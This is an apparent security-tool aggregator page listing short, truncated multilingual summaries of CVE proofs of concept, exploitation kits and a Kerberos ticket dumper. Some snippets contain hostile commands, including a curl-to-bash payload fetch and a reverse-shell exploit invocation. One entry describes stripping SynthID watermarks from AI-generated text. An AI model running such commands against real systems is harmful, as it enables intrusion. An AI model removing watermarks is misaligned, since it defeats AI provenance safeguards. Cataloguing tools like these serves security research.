dive

dive Dockerイメージ、レイヤーコンテンツを探索し、Docker/OCIイメージのサイズを縮小する方法を見つけるためのツール。 Dockerイメージを分析するには、イメージタグ/ID/ダイジェストを指定してdiveを実行するだけです： root@kitploit: dive または、Dockerで直接ダイブすることもできます： root@kitploit: alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock docker.io/wagoodman/dive" dive for...

dive

dive A tool for exploring a Docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image. To analyze a Docker image simply run dive with an image tag/id/digest: root@kitploit: dive or you can dive with Docker directly: root@kitploit: alias dive="docker run -ti --...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC バイナリをビルド: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme bashスクリプトを実行: root@kitploit: bash exploit.sh ターゲットマシンで書き込み可能なディレクトリで実行: root@kitploit: curl http://:8000/payload.sh | bash...

CVE-2022-48429_poc

CVE-2022-48429 - YouTrack 保存型XSS NVDデータベース上のCVEの説明は正確さを欠いています。 以下はより正確な説明です： Youtrack（バージョン = 2022.3.65373）のダッシュボードに 保存型 クロスサイトスクリプティング（XSS）が存在します。 悪意のある低権限ユーザーが不正なダッシュボードを作成し、他のユーザー（管理者など）に送信して共有できます。これにより管理者権限を乗っ取られる可能性があります。 原作者: echo-devim 詳細説明と概念実証（PoC） Youtrack バージョン 2022.3.65373...

ScreenConnect-UserEnum

ScreenConnect 用户枚举 ConnectWise（也称为ScreenConnect）存在一个用户枚举漏洞。这是一个针对该漏洞的用户枚举工具。 CVE-2019-16516 受影响版本 = 19.2.24707 ??? 不确定他们是否在更高版本中修复了 https://docs.connectwise.com/ConnectWiseControlDocumentation/ConnectWiseControlreleasenotes/ReleasenotesarchiveConnectWiseControl2019.5 root@kitploit: Tried on...

CVE-2026-36848

CVE-2026-36848 在 Gigamon-VUE OS（GVOS）设备的 8089 端口上的基于 Web 的管理引擎中发现了一个严重的路径遍历漏洞。该漏洞存在于 persistd 守护进程的旧版 H-VUE 子系统中，允许拥有网络访问权限的未授权远程攻击者以 root 权限读取任意文件并执行部分写操作（无法覆盖已有文件）。 1. 漏洞概述 CVE ID: CVE-2026-36848 目标端口: 8089（TornadoHTTP Web 应用程序） 受影响组件: /opt/tms/persistdpy/persistd.py 漏洞类型: 路径遍历（CWE-22） 影响:...

AI-driven-MITRE-Attack

POC：AI 驱动的 MITRE 攻击检测与告警富化 该仓库演示了一个机器学习流水线 ，用于从日志中检测 MITRE ATT&CK 技术，并使用本地 LLM 富化输出。 概述 该项目分为两个主要组件 ： 1. 机器学习模型（ML） – 将日志分类到 MITRE ATT&CK 技术 2. LLM 富化 – 将 ML 预测结果富化为分析师友好的解释和可操作的见解 机器学习模型 目的 ML 模型经过训练，可从日志事件中预测 MITRE 技术 （或 BENIGN）。 这样可以自动化检测和分类潜在的恶意行为。 方法 特征： 来自日志的 commandline 字段 向量化： TF-IDF（词频 –...

tird

🏠 首页 📑 规范 📜 手册页 📄 输入选项 📖 教程 ❓ 常见问题 📥 安装 tird & tirdFS tird /tɪrd/ “this is random data” 的缩写 是一种文件加密工具，它最小化元数据并隐藏加密数据。 使用 tird，你可以： 1. 创建填充随机数据的文件，用作容器或密钥文件。 2. 用随机数据覆写块设备和常规文件的内容，以准备容器或销毁残留数据。 3. 使用密钥文件和口令加密文件内容及注释。加密数据格式（cryptoblob）是一个填充均匀随机数据块（PURB）：它看起来像随机数据，且大小具有随机性。这减少了来自文件格式和长度的元数据泄露，并允许将...

CVE-2024-42327_Zabbix_SQLi

🛡️ Zabbix 7.0.0 SQLインジェクションエクスプロイトスクリプト 認証済みのZabbix 7.0.0 SQLインジェクション脆弱性を悪用するPythonスクリプトで、ユーザーデータ抽出、セッショントークン漏洩、リモートコマンド実行（RCE）、カスタムクエリインジェクションなど、複数の動作モードをサポートしています。 ⚠️ 免責事項: このスクリプトは教育目的 および許可されたペネトレーションテスト のみを対象としています。 所有していない、または明示的なテスト許可がないシステムでは使用しないでください 。...

sqlwinds

SQLWinds Kit de Evaluación de Seguridad y Post-Explotación para SQL SQLWinds es una herramienta de línea de comandos para pruebas de seguridad y explotación de Microsoft SQL Server. Proporciona un entorno interactivo para analizar servidores en profundidad, escalar privilegios, ejecutar ataques y...

easy-exploits

easy-exploits このリポジトリには、過去に私が特定したさまざまなCVE...

CVE-2024-25600_Nuclei-Template

CVE-2024-25600Nuclei-Template CVE-2024-25600 に関する Nuclei テンプレートと PoC の情報 説明 📝 WordPress 用の Bricks テーマは、バージョン 1.9.6 までのすべてのバージョンにおいてリモートコード実行の脆弱性があります。これにより、認証されていない攻撃者がサーバー上でコードを実行できる可能性があります。 このテンプレート 🛠️ は、nuclei を使用して WordPress 用 Bricks Builder プラグインに見つかった CVE-2024-25600 の脆弱性 🕳️...

reverse-SynthID-text

SynthID 水印逆向工程 概述 该目录包含用于分析和移除AI生成文本中SynthID水印的工具。该水印由Google DeepMind开发，并于2024年发表在《自然》杂志上。 SynthID 工作原理 水印生成过程 1. N-gram 上下文 ：对于每个词元位置，SynthID 将之前的 ngramlen - 1 个词元（默认：4个词元）视为上下文。 2. 哈希计算 ：计算以下内容的哈希： 上下文词元 候选的下一个词元 一组秘密水印密钥（默认30个） 3. G值分配 ：哈希用于为每个密钥层的每个可能的下一个词元分配一个二进制g值（0或1）。 4. 概率修改...

exploits

Exploits Exploits y código de prueba de concepto del equipo de Hacker House.| Nombre de archivo | Descripción | | :------------------------------------------: | :------------------------------------------------------------------------------------------------ | | AirWatchMDMJailbreakBypass.txt |...

CVE-2024-12209

CVE-2024-12209 WP Umbrella: Update Backup Restore & Monitoring = 2.17.0 - 認証されていないローカルファイルインクルード 説明 WP Umbrella: Update Backup Restore & Monitoring...

CVE-2024-28397-RCE

CVE-2024-28397 RCE スクリプト デフォルトのリバースシェルペイロードとオプションのコマンド引数が許可されています エクスプロイトは js2py = v0.74 で動作します 必要条件 Python 3.x requests ライブラリ pip install requests Netcat リスナー リバースシェル用 使用例 リバースシェル: root@kitploit: python exploit.py 10.129.227.108 /runcode --localip 10.10.14.71 --localport 4444 カスタムコマンド:...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - 远程命令执行 RCE 漏洞利用 概述 该漏洞利用针对 Adobe ColdFusion 8 中的一个已知漏洞（CVE-2009-2265）。它通过上传恶意 JSP 载荷来建立反向 shell 连接，从而实现远程命令执行 RCE。 漏洞详情 CVE ：CVE-2009-2265 漏洞类型 ：Adobe ColdFusion 8 对文件上传处理不当。 受影响版本 ：Adobe ColdFusion 8。 影响 ：允许攻击者在服务器上执行任意命令。 功能特性 1. 自动使用 msfvenom 生成 JSP 载荷。 2. 通过 multipart POS...

CVE-2021-26084

CVE-2021-26084 引言 本报告概述了 CVE-2021-26084 —— Confluence Server Webwork OGNL 注入 1，该漏洞允许经过身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。 TL;DR Confluence Server / Data Center 使用 Webwork 2 MVC 框架处理 Web 请求，其视图层主要由 Velocity 模板组成。当 Velocity 模板使用 value 属性中包含 $ 的 Webwork 标签时，会发生双重求值。当遇到 value 属性中含有 $ ...

CVE-2024-7854

CVE-2024-7854 Woo Inquiry = 0.1 - 未授权SQL注入 描述： WordPress的Woo Inquiry插件在所有版本（包括0.1）中存在SQL注入漏洞，原因是用户提供的参数'dbid'转义不充分，且现有SQL查询准备不充分。这使得未授权攻击者能够将额外的SQL查询附加到已有查询中，从而用于从数据库中提取敏感信息。 root@kitploit: Improper Neutralization of Special Elements used in an SQL Command 'SQL Injection' CVSS...

Wonka

Wonka 🍫 “我们是音乐创作者，也是梦想的编织者。” —— 威利·旺卡 Wonka 是一款面向 Windows 的甜蜜工具，用于从本地安全机构（LSA）缓存中提取 Kerberos 票据。就像找到一张门票，但用于安全研究和渗透测试！🎫 ✨ 功能特性 🔐 系统模拟 - 自动变为 SYSTEM 以访问 LSA（以提升权限运行时） 👤 权限感知 - 标准用户仅通过不受信任的 LSA 连接转储其 自己 的会话；无需 SYSTEM 模拟 📋 会话发现 - 查找所有活动的登录会话 🗂️ 列表模式 - 仅列出用户和票据元数据，不提取 base64 数据 🎯 单票据转储 - 按 LUID...